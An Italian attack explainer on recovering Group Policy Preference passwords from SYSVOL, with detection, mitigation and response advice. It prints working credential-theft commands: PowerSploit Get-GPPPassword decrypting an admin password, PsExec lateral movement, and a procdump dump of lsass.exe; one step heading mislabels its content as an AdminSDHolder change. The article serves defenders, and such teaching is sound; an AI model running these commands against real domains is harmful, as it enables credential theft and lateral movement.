Attacco di estrazione di password in chiaro
Group Policy è essenziale nella gestione di un ambiente Active Directory. In particolare, gli amministratori la utilizzano per gestire centralmente le configurazioni applicate ai server e alle workstation uniti al dominio; queste Group Policies definiscono politiche (impostazioni forzate) e preferenze, che propagano configurazioni predefinite modificabili dall'utente. Sfortunatamente, Group Policy ha permesso agli amministratori di incorporare password nelle preferenze di Group Policy che creavano utenti locali o mappavano unità di rete — e quelle password erano criptate con una chiave pubblicamente disponibile. Pertanto, un avversario con la capacità di leggere queste politiche può facilmente estrarre e decifrare queste password. Nel 2014, Microsoft ha rilasciato un aggiornamento di sicurezza che rimuove la possibilità di creare nuove preferenze con password incorporate, ma molte organizzazioni hanno ancora preferenze di Group Policy che includono password incorporate.
Sommario delle minacce
Target: Active Directory
Strumenti: PowerSploit, Metasploit
Tattica ATT&CK®: Accesso alle credenziali
Tecnica ATT&CK: T1552.006
Difficoltà
Rilevamento: Basso
Mitigazione: Bassa
Risposta: Bassa
Tutorial sull'attacco: Come funziona un attacco di estrazione di password in chiaro
PASSAGGIO 1: Scopri le password nelle preferenze di Group Policy
Le preferenze dei Criteri di gruppo sono memorizzate come file XML nella condivisione SYSVOL sui controller di dominio. La condivisione SYSVOL è accessibile agli Utenti Autenticati, quindi un avversario che ha ottenuto un punto d'appoggio all'interno della rete può accedere ai suoi contenuti. Un avversario può analizzare manualmente questi file XML, cercando istanze dell'attributo CPassword, che contiene le password crittografate. Attributi adiacenti forniscono altri dettagli, come il nome utente. Oppure possono utilizzare strumenti come il cmdlet di PowerSploit Get-GPPPasswords per automatizzare il processo di acquisizione e decrittazione di queste password, come mostrato di seguito.
PS> Import-Module PowerSploit
PS> Get-GPPPassword
Changed : {2020-08-17 11:14:01}
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {WhatAGreatPassword123!}
File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml
PS>
PASSAGGIO 2: Modifica l'ACL di AdminSDHolder
Ora che l'avversario ha il nome utente e la password di un amministratore locale, può elencare i computer in Active Directory sui quali è applicata la Group Policy, ottenendo così un elenco di computer ai quali può autenticarsi con queste credenziali. Con questo elenco, l'avversario può continuare ad espandere la propria presenza all'interno dell'organizzazione. In questo esempio, l'avversario si connette a un altro computer e crea un dump della memoria del processo LSASS.exe per abilitare ulteriori movimenti laterali o escalation dei privilegi.
PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml
PS> $XML.GPO.LinksTo
SOMName SOMPath Enabled NoOverride
------- ------- ------- ----------
Comp domain.com/Comp true false
PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName
PS> Get-ADComputer -filter "*" -SearchBase $DN
DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com
DNSHostName :
Enabled : True
Name : Server1
ObjectClass : computer
ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf
SamAccountName : SERVER1$
SID : S-1-5-21-5840559-2756745051-1363507867-16924
UserPrincipalName :
PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
PS>
Rileva, Mitiga e Rispondi
Rileva
Difficoltà: Bassa
A causa dell'alto volume di operazioni di lettura che avvengono durante le operazioni normali, non è possibile rilevare direttamente l'accesso di un avversario a questi file. Tuttavia, è possibile condurre un'auditoria per le password incorporate nelle Preferenze di Criteri di Gruppo utilizzando le stesse tecniche che un avversario utilizzerebbe. Utilizzando il cmdlet Get-GPPPassword su ogni dominio si potranno elencare le password incorporate (nota che questo rivelerà anche il testo in chiaro). In alternativa, il seguente frammento di PowerShell elencherà le password incorporate senza decifrarle:
# Replace this path with the path to SYSVOL to check
$SYSVOL_Path = "\\domain.com\sysvol"
Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"
# Sample Output using \\domain.com\sysvol
\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro
ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"
uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local
Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
Mitigare
Difficoltà: Bassa
In poche parole, tutte le password incorporate nelle preferenze dei Criteri di gruppo dovrebbero essere rimosse. Inoltre:
- Assicurati che tutti i controller di dominio eseguano versioni correnti del sistema operativo con le ultime patch, poiché le versioni attuali di Windows Server non consentono l'incorporamento delle password nelle preferenze dei Criteri di gruppo.
- Sostituire l'uso delle preferenze di Criteri di gruppo per impostare la password dell'account amministratore locale integrato con una soluzione robusta come la Local Administrator Password Solution (LAPS) di Microsoft.
- Adottate soluzioni che sostituiscano le password incorporate con ricerche dinamiche autenticate.
Rispondi
Difficoltà: Bassa
Se scoprite password incorporate nelle preferenze di Group Policy, è possibile intraprendere le seguenti azioni:
- Rimuovi la password incorporata dalla preferenza di Group Policy.
- Reimposta la password per l'account.
Condividi su
Visualizza attacchi informatici correlati
Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa
Modifica di AdminSDHolder – Come funziona e strategie di difesa
Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa
Attacco Hafnium - Come funziona e strategie di difesa
Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory
Attacco agli Account di Servizio Gestiti di Gruppo
Attacco Golden SAML
Comprendere gli attacchi Golden Ticket
Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa
ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione
Attacco di estrazione password NTDS.dit
Attacco Kerberoasting – Come Funziona e Strategie di Difesa
Attacco Pass the Hash
Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa
Attacco di Password Spraying
Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione
Attacchi ransomware di Active Directory
Sbloccare Active Directory con l'attacco Skeleton Key
Movimento laterale: cos'è, come funziona e prevenzioni
Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli
Perché PowerShell è così popolare tra gli aggressori?
4 attacchi agli account di servizio e come proteggersi
Come prevenire gli attacchi malware che impattano sulla tua azienda
Cos'è il Credential Stuffing?
Compromettere SQL Server con PowerUpSQL
Cosa sono gli attacchi di Mousejacking e come difendersi
Rubare credenziali con un Security Support Provider (SSP)
Attacchi con Rainbow Table: Come Funzionano e Come Difendersi
Uno sguardo approfondito agli attacchi alle password e come fermarli
Ricognizione LDAP
Bypassare MFA con l'attacco Pass-the-Cookie
Attacco Silver Ticket